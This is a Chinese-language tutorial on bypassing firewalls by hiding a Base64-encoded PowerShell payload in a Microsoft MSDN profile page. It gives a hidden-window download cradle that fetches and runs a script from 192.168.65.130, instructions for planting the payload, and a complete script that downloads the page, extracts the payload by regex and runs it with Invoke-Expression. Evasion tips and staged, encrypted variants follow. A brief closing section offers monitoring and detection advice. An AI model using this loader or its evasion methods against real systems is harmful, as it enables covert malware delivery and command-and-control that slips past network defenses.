使用Microsoft域绕过防火墙
字数 1029 2025-08-26 22:11:29
Microsoft域绕过防火墙技术详解
技术背景
该技术利用Microsoft社交技术论坛(MSDN)的用户个人资料页面作为数据存储和传输媒介,通过正则表达式提取隐藏在这些页面中的Payload,实现绕过传统防火墙检测的目的。
技术原理
- 利用合法Microsoft域:使用
social.msdn.microsoft.com这个受信任的Microsoft子域作为Payload传输通道 - 隐蔽存储:将Payload存储在用户个人资料页面的HTML内容中
- 正则提取:通过精心设计的正则表达式从页面中提取Payload
- 动态执行:提取后自动解码并执行Payload
详细实现步骤
第一步:准备Payload
-
原始Payload示例:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.65.130:80/a'))" -
Base64编码Payload:
$payload = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.65.130:80/a'))\"" $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $encodedPayload = [System.Convert]::ToBase64String($bytes) # 输出: cG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjY1LjEzMDo4MC9hJykpIg==
第二步:存储Payload到MSDN个人资料
- 注册Microsoft账号
- 编辑个人资料,在任意字段中插入Payload标记:
ppay:<p>cG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjY1LjEzMDo4MC9hJykpIg==</p>
第三步:提取并执行Payload
-
基础提取代码:
$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/testpayload -UseBasicParsing $r = [Regex]::new("(?<=ppay:p>).*?(?=</p>)") $m = $r.Match($wro.RawContent) if($m.Success) { $encodedPayload = $m.Value $decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedPayload)) IEX $decodedPayload } -
改进版正则表达式:
(?<=ppay:p>)- 正向回顾断言,匹配"ppay:p>"之后的内容.*?- 非贪婪匹配任意字符(?=</p>)- 正向预测断言,匹配""之前的内容
第四步:完整自动化脚本
# 定义目标URL
$profileUrl = "https://social.msdn.microsoft.com/Profile/testpayload"
# 下载页面内容
try {
$response = Invoke-WebRequest -Uri $profileUrl -UseBasicParsing -ErrorAction Stop
} catch {
Write-Error "Failed to download profile page: $_"
exit 1
}
# 定义正则表达式提取Payload
$regexPattern = "(?<=ppay:p>).*?(?=</p>)"
$regex = [Regex]::new($regexPattern)
# 尝试匹配
$match = $regex.Match($response.RawContent)
if(-not $match.Success) {
Write-Warning "No payload found in the profile page"
exit 2
}
# 解码Base64 Payload
try {
$decodedPayload = [System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String($match.Value)
)
} catch {
Write-Error "Failed to decode payload: $_"
exit 3
}
# 执行Payload
try {
Invoke-Expression -Command $decodedPayload
} catch {
Write-Error "Failed to execute payload: $_"
exit 4
}
技术要点
-
正则表达式技巧:
- 使用回顾和预测断言精确定位Payload
- 非贪婪匹配
.*?防止匹配过多内容
-
隐蔽性增强:
- 使用Base64编码避免特殊字符触发检测
- 利用合法Microsoft域降低被拦截概率
-
防御规避:
-UseBasicParsing参数避免创建DOM对象,减少内存特征- 分阶段执行降低单次操作的可检测性
防御建议
-
网络层防御:
- 监控异常访问Microsoft域名的模式
- 限制PowerShell的互联网访问能力
-
终端防御:
- 启用PowerShell脚本块日志记录
- 监控异常的Base64解码和执行行为
-
检测规则:
- 检测包含"ppay"标记的HTTP响应
- 监控从网页内容中提取并立即执行的PowerShell活动
变体与扩展
-
多阶段Payload:
- 第一阶段只下载更复杂的第二阶段脚本
- 使用多个个人资料页面存储不同部分
-
动态URL:
- 定期更换使用的个人资料URL
- 使用算法生成目标URL
-
加密增强:
- 使用AES等更强加密而非Base64
- 实施密钥分离存储
该技术展示了攻击者如何滥用合法云服务进行恶意操作,强调了深度防御和异常行为监控的重要性。